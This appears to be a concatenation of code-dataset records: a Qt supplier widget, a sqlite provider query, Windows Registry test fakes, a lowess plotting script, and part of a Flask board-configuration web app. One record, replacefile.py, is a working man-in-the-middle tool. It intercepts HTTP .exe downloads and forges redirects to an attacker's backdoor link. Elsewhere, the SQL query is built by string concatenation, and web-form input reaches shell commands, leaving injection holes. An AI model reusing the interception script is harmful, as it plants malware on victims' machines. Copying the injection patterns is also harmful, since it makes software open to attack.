Grid_Layout\nfrom isis.h_box_layout import H_Box_Layout\nfrom PySide2.QtCore import Qt\nfrom isis.event import Event\nfrom isis.valentine.search_supplier import Search_Supplier\n\n\nclass Widget_Viewer_Supplier(Group_Box):\n def __init__(self, *args, **kwargs):\n Group_Box.__init__(self, *args, **kwargs)\n lbl_id = Label('id: ', self)\n lbl_type = Label('type: ', self)\n lbl_name = Label('name: ', self)\n self.lbl_id = Label(self)\n self.lbl_type = Label(self)\n self.lbl_name = Label(self)\n lbl_id.fix_size_based_on_font()\n lbl_type.fix_size_based_on_font()\n lbl_name.fix_size_based_on_font()\n\n btn_remove = Push_Button('remove', self)\n btn_change = Push_Button('change', self)\n\n layout_main = Grid_Layout(self)\n layout_main.addWidget(lbl_id, 0, 0)\n layout_main.addWidget(self.lbl_id, 0, 1)\n layout_main.addWidget(lbl_type, 0, 2)\n layout_main.addWidget(self.lbl_type, 0, 3)\n buttons_layout = H_Box_Layout()\n buttons_layout.addWidget(btn_remove)\n buttons_layout.addWidget(btn_change)\n layout_main.addLayout(buttons_layout, 0, 4, Qt.AlignRight)\n layout_main.addWidget(lbl_name, 1, 0)\n layout_main.addWidget(self.lbl_name, 1, 1, 1, -1)\n self._supplier = None\n btn_change.clicked.connect(self.handle_btn_change)\n btn_remove.clicked.connect(self.handle_btn_remove)\n self.supplier_changed = Event()\n\n def handle_btn_change(self):\n searcher = Search_Supplier(self)\n searcher.exec_()\n if searcher.selected is not None:\n self.supplier = searcher.selected\n\n def handle_btn_remove(self):\n self.supplier = None\n\n @property\n def supplier(self):\n return self._supplier\n\n @supplier.setter\n def supplier(self, supplier):\n self._supplier = supplier\n self.supplier_changed(supplier)\n if supplier is None:\n self.lbl_id.text = None\n self.lbl_type.text = None\n self.lbl_name.text = None\n\n else:\n self.lbl_id.text = supplier.id if 'id' in supplier else None\n\n for k in ['supplier_type', 'type']:\n if k in supplier:\n self.lbl_type.text = supplier[k]\n break\n else:\n self.lbl_type.text = None\n\n for k in ['business_name', 'name', 'rfc']:\n if k in supplier:\n self.lbl_name.text = supplier[k]\n break\n else:\n self.lbl_name.text = None\n","sub_path":"isis/valentine/widget_viewer_supplier.py","file_name":"widget_viewer_supplier.py","file_ext":"py","file_size_in_byte":2741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"581830742","text":"#!/usr/bin/env python\nimport netfilterqueue as netq\nimport scapy.all as scapy\nimport optparse\nimport argparse\n\ndef get_args():\n try:\n parser = optparse.OptionParser()\n parser.add_option(\"-l\", \"--link\", dest=\"mal_link\", help=\"Download link of the malicious file.\")\n parser.add_option(\"-f\", \"--file\", dest=\"filen\", help=\"Name of the malicious file\")\n (val, args) = parser.parse_args()\n except:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-l\", \"--link\", dest=\"mal_link\", help=\"Download link of the malicious file.\")\n parser.add_argument(\"-f\", \"--file\", dest=\"filen\", help=\"Name of the malicious file\")\n val = parser.parse_args()\n if not val.mal_link:\n parser.error(\"ERROR Missing argument, use --help for more info\")\n return val\ndef mod_packet(packet, link):\n packet[scapy.Raw].load = \" HTTP/1.1 301 Moved Permanently\\nLocation: \" + link + \"\\n\\n\"\n del packet[scapy.IP].len\n del packet[scapy.IP].chksum\n del packet[scapy.TCP].chksum\n return packet\n\nreq_ack = []\ndef work_packet(packet):\n use_packet = scapy.IP(packet.get_payload())\n if use_packet.haslayer(scapy.Raw):\n if use_packet[scapy.TCP].dport == 80:\n if \".exe\" in use_packet[scapy.Raw].load and value.filen not in use_packet[scapy.Raw].load:\n print(\"[+] Detected Download .exe file REQUEST...\")\n req_ack.append(use_packet[scapy.TCP].ack)\n elif use_packet[scapy.TCP].sport == 80:\n if use_packet[scapy.TCP].seq in req_ack:\n print(\"[+] HTTP Response for the Download Req...#########\")\n req_ack.remove(use_packet[scapy.TCP].seq)\n print(\"[+] Replacing Download with backdoor...\")\n modified_packet = mod_packet(use_packet, value.mal_link)\n packet.set_payload(str(modified_packet))\n packet.accept()\n\nvalue = get_args()\nqueue = netq.NetfilterQueue()\nqueue.bind(0, work_packet)\ntry:\n queue.run()\nexcept KeyboardInterrupt:\n print(\"[-] Detected CTRL + C Quitting...\")\n print(\"[+] Download file replaced successfully for all downloads madeby Victim.\")\n","sub_path":"replacefile.py","file_name":"replacefile.py","file_ext":"py","file_size_in_byte":2156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"596682702","text":"# This application is spawned as a child process by node from app.js.\n# app.py runs and will return data back to node for processing.\n\nimport sys\nimport json\nimport sqlite3\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn import linear_model\n\n\ndef convert_to_nan(value):\n if value is float:\n return value\n else:\n try:\n return float(value)\n except:\n return float('nan')\n\nplt.style.use('seaborn-pastel')\n\nservice = sys.argv[1]\nstate = sys.argv[2]\n\nproviders = []\nquery_list = []\n\ndef get_providers():\n conn = sqlite3.connect('../db/database.db')\n c = conn.cursor()\n for row in c.execute('SELECT * FROM all' + state +' WHERE registered_provider_name LIKE \"%' + service + '%\"'):\n provider = row[0] + row[1]\n #query_list.append(row)\n providers.append(provider)\n\nget_providers()\nproviders = sorted(providers)\n\nprint(json.dumps(providers))\n\n\n'''\nstats = {'min': 0, 'max': 0, 'median': 0, 'mean': 0, 'std': 0, 'count': 0}\nif prices:\n stats['min'] = min(prices)\n stats['max'] = max(prices)\n stats['median'] = np.percentile(prices, 50)\n stats['mean'] = int(np.mean(prices))\n stats['std'] = int(np.std(prices))\n stats['count'] = len(prices)\n\nif prices: # If results are found for the query, create statistics, and graphs. If not, ignore.\n\n cols = ['listingID', 'price', 'date', 'houseType', 'address', 'postcode', 'suburb', 'lat', 'lon', 'state', 'landSize', 'bedroom', 'bathroom']\n\n df = pd.DataFrame(query_list, columns=cols)\n\n df['date'] = df['date'].apply(pd.to_datetime)\n df['year'] = df.date.apply(get_year)\n df['landSize'] = df['landSize'].apply(convert_to_nan)\n\n\n # Graph - Median house price over time\n\n years = []\n for i in range(2007, 2017):\n years.append(i)\n\n median_prices = []\n for year in years:\n median_prices.append(df.price[df.year == year].median() / 1000)\n\n years_1 = []\n median_prices_1 = []\n for year in years:\n median_prices_1.append(df.price[(df.year == year) & (df.bedroom == int(beds))].median() / 1000)\n\n total = plt.plot(years, median_prices, label = 'Total', linewidth = 5, solid_capstyle=\"round\", c = \"#7DCFFD\")\n queried_number = plt.plot(years, median_prices_1, label = '{} Beds'.format(beds), linewidth = 5, solid_capstyle=\"round\", c = \"#C0F29D\")\n plt.title('Annual Median House Price in {}'.format(suburb)).set_position([.5, 1.05])\n plt.xlabel('Year')\n plt.ylabel('Median House Price ($000s)')\n plt.xticks(years, years)\n plt.ylim(0)\n plt.legend(bbox_to_anchor = (0.95, 0.2), borderaxespad = 0)\n plt.savefig('public/img/graphs/mhp.png')\n plt.clf()\n\n\n # Graph - Pie chart, houses / apartments\n\n count_other = df.houseType[(df.houseType != 'house') | (df.houseType != 'apartment')].count()\n count_apartment = df.houseType[df.houseType == 'apartment'].count()\n count_house = df.houseType[df.houseType == 'house'].count()\n\n labs = ['Houses', 'Apartments']\n\n plt.pie([count_house, count_apartment], labels = labs, colors = ['#C0F29D', '#7DCFFD'])\n plt.title('Houses & Apartments Sold in {}'.format(suburb)).set_position([.5, 1.05])\n plt.axis('equal')\n plt.savefig('public/img/graphs/pie')\n plt.clf()\n\n\n # Graph – Scatter plot of landsize relative to price\n\n df_of_houses = df[df.houseType == 'house']\n\n one_bed = plt.scatter(df_of_houses.landSize[df_of_houses.bedroom== 1], df_of_houses.price[df_of_houses.bedroom == 1]/1000, color= '#FFF07C')\n two_bed =plt.scatter(df_of_houses.landSize[df_of_houses.bedroom== 2], df_of_houses.price[df_of_houses.bedroom == 2]/1000, color= '#7DCFFD')\n three_bed =plt.scatter(df_of_houses.landSize[df_of_houses.bedroom== 3], df_of_houses.price[df_of_houses.bedroom == 3]/1000, color= '#C0F29D')\n four_bed =plt.scatter(df_of_houses.landSize[df_of_houses.bedroom== 4], df_of_houses.price[df_of_houses.bedroom == 4]/1000, color= '#ED637F')\n five_plus =plt.scatter(df_of_houses.landSize[df_of_houses.bedroom== 5], df_of_houses.price[df_of_houses.bedroom == 5]/1000, color= '#3E517A')\n\n plt.legend((one_bed,two_bed,three_bed,four_bed,five_plus),\n (1,2,3,4,'5+'), title = 'Bedrooms')\n plt.title('Scatterplot of House Price & Landsize for {}'.format(suburb)).set_position([.5, 1.05])\n plt.xlabel('Block size (m2)')\n plt.ylabel('House price ($000s)')\n\n plt.savefig('public/img/graphs/scat')\n plt.clf()\n\n\n # Graph - % Growth over time\n\n df2 = [i for i in zip(median_prices, years)]\n df2 = pd.DataFrame(df2, columns=['median_price', 'year'])\n df3 = [i for i in zip(median_prices_1, years)]\n df3 = pd.DataFrame(df3, columns=['median_price', 'year'])\n\n plt.plot(df3.year, df3.median_price.diff()/df3.median_price * 100, label = '{} bed'.format(beds), linewidth = 5, solid_capstyle=\"round\", color=\"#C0F29D\")\n plt.plot(df2.year, df2.median_price.diff()/df2.median_price * 100, label = 'Total', linewidth = 5, solid_capstyle=\"round\", color=\"#7DCFFD\")\n\n plt.plot(df2.year, [0 for x in range(10)], c='k', ls='dashed')\n\n plt.title('Percentage Change in Median Price for {}'.format(suburb)).set_position([.5, 1.05])\n plt.xlabel('Year')\n plt.ylabel('Percentage change')\n plt.xticks(years, years)\n plt.legend()\n\n plt.savefig('public/img/graphs/grth')\n plt.clf()\n\n\n # Prediction model (House price prediction)\n\n df1 = df[['bedroom', 'price', 'year']]\n df1 = df1.dropna()\n x = df1[['bedroom', 'year']]\n y = df1['price']\n\n model = linear_model.LinearRegression()\n model.fit(x, y)\n\n prediction_values = [[int(beds), 2016]]\n\n prediction = model.predict(prediction_values)[0]\n\n stats['pred_lower'] = prediction - .65 * stats['std']\n stats['pred_upper'] = prediction + .65 * stats['std']\n\n\n# Print results (send to node)\nprint(json.dumps(stats))\n\n'''","sub_path":"suburbia/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"69387343","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"Tests for the fake Windows Registry back-end.\"\"\"\n\nimport unittest\n\nfrom dfwinreg import definitions\nfrom dfwinreg import fake\n\nfrom tests import test_lib\n\n\nclass FakeWinRegTestCase(test_lib.WinRegTestCase):\n \"\"\"The unit test case for fake Windows Registry related object.\"\"\"\n\n def _OpenFakeRegistryFile(self):\n \"\"\"Opens a fake Windows Registry file.\n\n Returns:\n The Windows Registry file object (instance of FakeWinRegistryFileTest).\n \"\"\"\n registry_file = fake.FakeWinRegistryFile()\n\n software_key = fake.FakeWinRegistryKey(u'Software')\n registry_file.AddKeyByPath(u'\\\\', software_key)\n\n registry_file.Open(None)\n return registry_file\n\n\nclass FakeWinRegistryFileTest(FakeWinRegTestCase):\n \"\"\"Tests for the fake Windows Registry file object.\"\"\"\n\n def testOpenClose(self):\n \"\"\"Tests the Open and Close functions.\"\"\"\n registry_file = self._OpenFakeRegistryFile()\n registry_file.Close()\n\n def testGetRootKey(self):\n \"\"\"Tests the GetRootKey function.\"\"\"\n registry_file = self._OpenFakeRegistryFile()\n\n registry_key = registry_file.GetRootKey()\n self.assertIsNotNone(registry_key)\n self.assertEqual(registry_key.path, u'\\\\')\n\n registry_file.Close()\n\n def testGetKeyByPath(self):\n \"\"\"Tests the GetKeyByPath function.\"\"\"\n registry_file = self._OpenFakeRegistryFile()\n\n key_path = u'\\\\'\n registry_key = registry_file.GetKeyByPath(key_path)\n self.assertIsNotNone(registry_key)\n self.assertEqual(registry_key.path, key_path)\n\n key_path = u'\\\\Software'\n registry_key = registry_file.GetKeyByPath(key_path)\n self.assertIsNotNone(registry_key)\n self.assertEqual(registry_key.path, key_path)\n\n key_path = u'\\\\Bogus'\n registry_key = registry_file.GetKeyByPath(key_path)\n self.assertIsNone(registry_key)\n\n registry_file.Close()\n\n def testRecurseKeys(self):\n \"\"\"Tests the RecurseKeys function.\"\"\"\n registry_file = self._OpenFakeRegistryFile()\n\n registry_keys = list(registry_file.RecurseKeys())\n registry_file.Close()\n\n self.assertEqual(len(registry_keys), 2)\n\n\nclass FakeWinRegistryKeyTest(unittest.TestCase):\n \"\"\"Tests for the fake Windows Registry key object.\"\"\"\n\n def _CreateTestKey(self):\n \"\"\"Creates a Windows Registry key for testing.\n\n Returns:\n A Windows Registry key object (instance of FakeWinRegistryKey).\n \"\"\"\n registry_key = fake.FakeWinRegistryKey(\n u'Software', key_path=u'HKEY_CURRENT_USER\\\\Software',\n last_written_time=0)\n\n registry_subkey = fake.FakeWinRegistryKey(\n u'Microsoft', key_path=u'HKEY_CURRENT_USER\\\\Software\\\\Microsoft',\n last_written_time=0)\n\n registry_key.AddSubkey(registry_subkey)\n\n test_registry_key = fake.FakeWinRegistryKey(\n u'Internet Explorer',\n key_path=u'HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Internet Explorer',\n last_written_time=0)\n\n registry_subkey.AddSubkey(test_registry_key)\n\n registry_value = fake.FakeWinRegistryValue(u'')\n\n registry_key.AddValue(registry_value)\n\n return registry_key\n\n def testInitialize(self):\n \"\"\"Tests the initialize function.\"\"\"\n # Test initialize without subkeys or values.\n registry_key = fake.FakeWinRegistryKey(\n u'Microsoft', key_path=u'HKEY_CURRENT_USER\\\\Software\\\\Microsoft',\n last_written_time=0)\n self.assertIsNotNone(registry_key)\n\n # Test initialize with subkeys and values.\n registry_value = fake.FakeWinRegistryValue(u'')\n\n registry_key = fake.FakeWinRegistryKey(\n u'Software', key_path=u'HKEY_CURRENT_USER\\\\Software',\n last_written_time=0,\n subkeys=[registry_key], values=[registry_value])\n self.assertIsNotNone(registry_key)\n\n def testProperties(self):\n \"\"\"Tests the property functions.\"\"\"\n registry_key = self._CreateTestKey()\n self.assertIsNotNone(registry_key)\n\n self.assertEqual(registry_key.number_of_subkeys, 1)\n self.assertEqual(registry_key.number_of_values, 1)\n self.assertEqual(registry_key.offset, 0)\n\n self.assertIsNotNone(registry_key.last_written_time)\n timestamp = registry_key.last_written_time.timestamp\n self.assertEqual(timestamp, 0)\n\n def testAddSubkey(self):\n \"\"\"Tests the AddSubkey function.\"\"\"\n registry_key = fake.FakeWinRegistryKey(\n u'Software', key_path=u'HKEY_CURRENT_USER\\\\Software',\n last_written_time=0)\n\n registry_subkey = fake.FakeWinRegistryKey(\n u'Microsoft', key_path=u'HKEY_CURRENT_USER\\\\Software\\\\Microsoft',\n last_written_time=0)\n\n registry_key.AddSubkey(registry_subkey)\n\n with self.assertRaises(KeyError):\n registry_key.AddSubkey(registry_subkey)\n\n def testAddValue(self):\n \"\"\"Tests the AddValue function.\"\"\"\n registry_key = fake.FakeWinRegistryKey(\n u'Software', key_path=u'HKEY_CURRENT_USER\\\\Software',\n last_written_time=0)\n\n registry_value = fake.FakeWinRegistryValue(u'')\n\n registry_key.AddValue(registry_value)\n\n with self.assertRaises(KeyError):\n registry_key.AddValue(registry_value)\n\n def testGetSubkeyByName(self):\n \"\"\"Tests the GetSubkeyByName function.\"\"\"\n registry_key = self._CreateTestKey()\n\n registry_subkey = registry_key.GetSubkeyByName(u'Microsoft')\n self.assertIsNotNone(registry_subkey)\n\n expected_key_path = u'HKEY_CURRENT_USER\\\\Software\\\\Microsoft'\n self.assertEqual(registry_subkey.path, expected_key_path)\n\n registry_subkey = registry_key.GetSubkeyByName(u'Bogus')\n self.assertIsNone(registry_subkey)\n\n def testGetSubkeyByPath(self):\n \"\"\"Tests the GetSubkeyByPath function.\"\"\"\n registry_key = self._CreateTestKey()\n\n key_path = u'Microsoft\\\\Internet Explorer'\n registry_subkey = registry_key.GetSubkeyByPath(key_path)\n self.assertIsNotNone(registry_subkey)\n self.assertEqual(registry_subkey.name, u'Internet Explorer')\n\n expected_key_path = (\n u'HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Internet Explorer')\n self.assertEqual(registry_subkey.path, expected_key_path)\n\n key_path = u'Microsoft\\\\Bogus'\n registry_subkey = registry_key.GetSubkeyByPath(key_path)\n self.assertIsNone(registry_subkey)\n\n def testGetSubkeys(self):\n \"\"\"Tests the GetSubkeys function.\"\"\"\n registry_key = self._CreateTestKey()\n\n registry_subkeys = list(registry_key.GetSubkeys())\n self.assertEqual(len(registry_subkeys), 1)\n\n def testGetValueByName(self):\n \"\"\"Tests the GetValueByName function.\"\"\"\n registry_key = self._CreateTestKey()\n\n registry_value = registry_key.GetValueByName(u'')\n self.assertIsNotNone(registry_value)\n\n registry_value = registry_key.GetValueByName(u'Bogus')\n self.assertIsNone(registry_value)\n\n def testGetValues(self):\n \"\"\"Tests the GetValues function.\"\"\"\n registry_key = self._CreateTestKey()\n\n values = list(registry_key.GetValues())\n self.assertEqual(len(values), 1)\n\n\nclass FakeWinRegistryValueTest(unittest.TestCase):\n \"\"\"Tests for the fake Windows Registry value object.\"\"\"\n\n def testInitialize(self):\n \"\"\"Tests the initialize function.\"\"\"\n registry_value = fake.FakeWinRegistryValue(\n u'MRUListEx', data_type=definitions.REG_BINARY)\n self.assertIsNotNone(registry_value)\n\n self.assertEqual(registry_value.data, b'')\n self.assertEqual(registry_value.data_type, definitions.REG_BINARY)\n self.assertEqual(registry_value.name, u'MRUListEx')\n self.assertEqual(registry_value.offset, 0)\n\n def testDataIsInteger(self):\n \"\"\"Tests the DataIsInteger function.\"\"\"\n registry_value = fake.FakeWinRegistryValue(\n u'MRUListEx', data_type=definitions.REG_BINARY)\n\n self.assertFalse(registry_value.DataIsInteger())\n\n registry_value = fake.FakeWinRegistryValue(\n u'Count', data_type=definitions.REG_DWORD)\n\n self.assertTrue(registry_value.DataIsInteger())\n\n def testDataIsString(self):\n \"\"\"Tests the DataIsString function.\"\"\"\n registry_value = fake.FakeWinRegistryValue(\n u'MRUListEx', data_type=definitions.REG_BINARY)\n\n self.assertFalse(registry_value.DataIsString())\n\n registry_value = fake.FakeWinRegistryValue(\n u'MRU', data_type=definitions.REG_SZ)\n\n self.assertTrue(registry_value.DataIsString())\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/fake.py","file_name":"fake.py","file_ext":"py","file_size_in_byte":8202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"169619412","text":"import build.lib.cylowess as cyl\nfrom pandas import *\nimport statsmodels.api as sm\r\n\r\nimport matplotlib\r\nmatplotlib.use('Agg')\r\nimport matplotlib.pyplot as plt\r\nplt.style.use('ggplot')\n\nmcycle = read_csv('mcycle.csv')\ntime = mcycle['times']\naccel = mcycle['accel']\nprint (len(time.values), len(accel.values))\n\nsmlw = sm.nonparametric.lowess\nsm_lowess = smlw(accel, time, frac = 0.1, it = 3)\nnew_lowess = cyl.lowess(accel.values, time.values, frac = 0.1, it = 3)\n# Results from R: lowess(mcycle, delta = 0, f = 0.1, iter = 3)\nr_lowess = read_csv(\"r_lowess_d0_it3_f0-01.csv\")\n\nplt.figure(figsize = (10, 7))\nplt.plot(time, accel, '.', color = \"steelblue\", alpha = 0.25, label = 'Data')\nplt.xlabel('Time after impact (ms)')\nplt.ylabel('Acceleration (g)')\nplt.plot(new_lowess[:,0], new_lowess[:,1], '-', color = 'orange', label = 'New lowess')\nplt.plot(sm_lowess[:,0], sm_lowess[:, 1], '--r', label = 'Statsmodel lowess')\nplt.plot(r_lowess['x'], r_lowess['y'], '+g', label = 'R lowess')\nplt.legend(loc = 'upper left')\nplt.savefig('motorcycle lowess comparisons.png')\n","sub_path":"test_my.py","file_name":"test_my.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"611246125","text":"###############################################################################\n#\n# Copyright (C) 2019 Xilinx, Inc. All rights reserved.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy of\n# this software and associated documentation files (the \"Software\"), to deal in\n# the Software without restriction, including without limitation the rights to\n# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies\n# of the Software, and to permit persons to whom the Software is furnished to do\n# so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n###############################################################################\n#\n# Author: Michael Chyziak <chyziak@xilinx.com>\n#\n###############################################################################\n\nfrom flask import Flask, render_template, request\nfrom multiprocessing import Pipe\nimport random\nimport crypt\nimport subprocess\nimport os.path\nimport os\nimport glob\nimport sys\nimport time\nimport multiprocessing\nimport signal\nimport uuid\nimport re\n\nCUR_DIRECTORY = os.path.split(os.path.abspath(__file__))[0]\nALERT = -1\n\napp = Flask(__name__)\n\nglobal timer_status, timeout, elapsed_time, pconn, cconn\ntimer_status = \"timer_disabled\"\ntimeout = 15\nelapsed_time = 5\npconn, cconn = Pipe()\n\n@app.route('/')\n@app.route('/home.html', methods=['GET', 'POST'])\ndef home():\n\n\traw = subprocess.check_output(['ifconfig','-a'])\n\tline = raw.find(b'wlan')\n\traw = raw[line:]\n\thwline = raw.find(b\"HWaddr\")\n\traw = raw[hwline+6:hwline+24]\n\traw = raw.replace(b\":\",b\"\")\n\treturn render_template(\"Home/home.html\", value=raw.decode('utf-8'))\n\ndef connect_to_wifi(name,passphrase):\n name=name\n passphrase=passphrase\n ssid=\"\"\n service_name=\"\"\n wififound=\"\"\n os.system(\"connmanctl enable wifi\")\n os.system(\"connmanctl scan wifi\")\n proc = subprocess.Popen(\"connmanctl services\", stdout=subprocess.PIPE,shell=True)\n out=proc.communicate()[0].decode(\"utf-8\")\n if name not in out:\n return 0 \n else:\n temp=out.split(\"\\n\")\n for a in temp:\n if name in a:\n a=re.sub(' +',' ',a)\n wififound=a.split(\" \")[2]\n service_name=\"[service_\"+wififound+\"]\"\n ssid=wififound.split(\"_\")[2]\n break\n f = open(\"/var/lib/connman/ultra96.config\", \"w\")\n f.write(\"%s\\n\"%service_name)\n f.write(\"Type=wifi\\n\")\n f.write(\"SSID=%s\\n\"%ssid)\n f.write(\"Passphrase=%s\\n\"%passphrase)\n connectcmd=\"connmanctl connect \"+wififound\n os.system(connectcmd)\n return wififound\n\n\ndef createWiFi(output):\n open_ssid = []\n password_ssid = []\n ssid =False\n password = False\n for line in output.splitlines():\n line.strip()\n if \"SSID\" in line:\n ssid_list = line.split(\": \")\n if len(ssid_list) == 2:\n ssid_name = ssid_list[1]\n ssid = True\n elif \"RSN\" in line:\n password = True\n elif \"BSS\" in line:\n if ssid and password:\n password_ssid.append(ssid_name)\n if ssid and not password: \n open_ssid.append(ssid_name)\n ssid = False\n password = False\n return (open_ssid, password_ssid)\n\n@app.route('/information.html')\ndef specifications():\n files_found = []\n files = [os.path.basename(f) for f in glob.glob(CUR_DIRECTORY+'/static/documents/*')]\n for f in files:\n if f.lower().endswith(('.html', '.pdf')):\n files_found.append(f)\n return render_template(\"Information/information.html\", files=files_found)\n\n@app.route('/webapp_boot.html', methods=['GET', 'POST'])\ndef webapp_boot():\n if request.method == 'POST':\n if ('Yes' in request.form['optradio']):\n f = open(CUR_DIRECTORY+'/static/ultra96-startup-page.conf', 'w')\n f.write(\"webapp_on_boot=1\\n\")\n f.close()\n return render_template(\"Configurations/webapp_boot.html\", boot=\"block\", not_boot=\"none\")\n else:\n f = open(CUR_DIRECTORY+'/static/ultra96-startup-page.conf', 'w')\n f.write(\"webapp_on_boot=0\\n\")\n f.close()\n return render_template(\"Configurations/webapp_boot.html\", boot=\"none\", not_boot=\"block\")\n else: \n return render_template(\"Configurations/webapp_boot.html\", boot=\"none\", not_boot=\"none\")\n\n@app.route('/wifi_setup.html', methods=['GET', 'POST'])\ndef wifi_setup():\n wificonnected=\"\"\n is_connected = check_connection()\n if request.method == 'POST':\n if 'ssid' in request.form:\n ssid = request.form['ssid']\n passphrase = \"\"\n if 'password' in request.form:\n passphrase = request.form['password']\n if os.path.exists(\"/etc/wpa_supplicant.conf\"):\n p = subprocess.call(\"mv /etc/wpa_supplicant.conf /etc/wpa_supplicant.conf.old\", stdout=subprocess.PIPE, shell=True)\n if p != 0:\n success = \"none\"\n return render_template(\"Configurations/wifi_setup.html\", open_ssid=[], password_ssid=[], connected=is_connected, success=\"none\", failure=\"block\", con_pass=\"none\", con_fail=\"none\", ssid=\"\") \n \n wificonnected=connect_to_wifi(ssid,passphrase)\n if wificonnected == 0:\n success = \"none\"\t\t\n return render_template(\"Configurations/wifi_setup.html\", open_ssid=[], password_ssid=[], connected=is_connected, success=\"none\", failure=\"block\", con_pass=\"none\", con_fail=\"none\", ssid=\"\") \n\n return render_template(\"Configurations/wifi_setup.html\", open_ssid=[], password_ssid=[], connected=is_connected, success=\"block\", failure=\"none\", con_pass=\"none\", con_fail=\"none\", ssid=\"\")\n elif 'refresh' in request.form:\n os.system(\"ip link set dev wlan0 up\")\n i = 0 \n while i < 5:\n i = i+1\n p = subprocess.Popen(\"iw wlan0 scan\", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n output_encoded, err = p.communicate()\n output=output_encoded.decode('utf-8')\n if \"SSID\" in output:\n open_ssid, password_ssid = createWiFi(output)\n #os.system(\"ip link set dev wlan0 down\")\n return render_template(\"Configurations/wifi_setup.html\", open_ssid=open_ssid, password_ssid=password_ssid, connected=is_connected, success=\"none\", failure=\"none\", con_pass=\"none\", con_fail=\"none\", ssid=\"\")\n return render_template(\"Configurations/wifi_setup.html\", open_ssid=[], password_ssid=[], connected=is_connected, success=\"none\", failure=\"none\", con_pass=\"none\", con_fail=\"none\", ssid=\"\")\n elif 'disconnect' in request.form:\n f=open(\"/var/lib/connman/ultra96.config\",\"r\")\n out=f.readline()\n wificonnected=out.split(\"service_\")[1].split(\"]\")[0]\n disconnectcmd=\"connmanctl disconnect \"+wificonnected\n print(\"wificonnected=%s\"%wificonnected)\n os.system(disconnectcmd)\n is_connected = check_connection()\n return render_template(\"Configurations/wifi_setup.html\", open_ssid=[], password_ssid=[], connected=is_connected, success=\"none\", failure=\"none\", con_pass=\"none\", con_fail=\"none\", ssid=\"\") \n else:\n p = subprocess.Popen(\"iw wlan0 info\", stdout=subprocess.PIPE, shell=True)\n ssid_output_encoded = p.communicate()[0]\n ssid_output = ssid_output_encoded.decode('utf-8')\n ssid = \"\"\n for line in ssid_output.splitlines():\n line.strip()\n if \"ssid\" in line:\n ssid = line.split(\"ssid \")[1]\n if ssid == \"\":\n return render_template(\"Configurations/wifi_setup.html\", open_ssid=[], password_ssid=[], connected=is_connected, success=\"none\", failure=\"none\", con_pass=\"none\", con_fail=\"block\", ssid=\"\")\n return render_template(\"Configurations/wifi_setup.html\", open_ssid=[], password_ssid=[], connected=is_connected, success=\"none\", failure=\"none\", con_pass=\"block\", con_fail=\"none\", ssid=ssid_output)\n else:\n return render_template(\"Configurations/wifi_setup.html\", open_ssid=[], password_ssid=[], connected=is_connected, success=\"none\", failure=\"none\", con_pass=\"none\", con_fail=\"none\", ssid=\"\")\n\n@app.route('/configurations.html')\ndef configurations():\n return render_template(\"Configurations/configurations.html\")\n\n@app.route('/password.html', methods=['GET', 'POST'])\ndef password():\n success = \"block\"\n failure = \"none\"\n if request.method == 'POST':\n oldpass = request.form['oldpassword']\n newpass = request.form['newpassword']\n p = subprocess.Popen(\"cat /etc/shadow\", stdout=subprocess.PIPE, shell=True)\n root_salt = p.communicate()[0].split(\":\", 2)[1]\n if root_salt == \"x\" or root_salt == \"*\" or root_salt == \"!\":\n success = \"none\"\n failure = \"block\"\n return render_template(\"Configurations/password.html\", success=success, failure=failure)\n if (crypt.crypt(oldpass, root_salt) == root_salt) or (root_salt==\"\" and crypt.crypt(oldpass, root_salt) == None):\n #Create random salt\n salt_set = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\", \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\", \"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \".\", \"/\"]\n random_salt = \"\".join(random.choice(salt_set) for index in range(32))\n encrypted_password = crypt.crypt(newpass, random_salt)\n p = subprocess.call(\"usermod -p \"+encrypted_password+\" root\", stdout=subprocess.PIPE, shell=True)\n if p != 0:\n success = \"none\"\n failure = \"block\"\n return render_template(\"Configurations/password.html\", success=success, failure=failure)\n else:\n success = \"none\"\n failure = \"block\"\n return render_template(\"Configurations/password.html\", success=success, failure=failure)\n else:\n success = \"none\"\n return render_template(\"Configurations/password.html\", success=success, failure=failure)\n\n@app.route('/dnf_update.html', methods=['GET', 'POST'])\ndef dnf_update():\n if 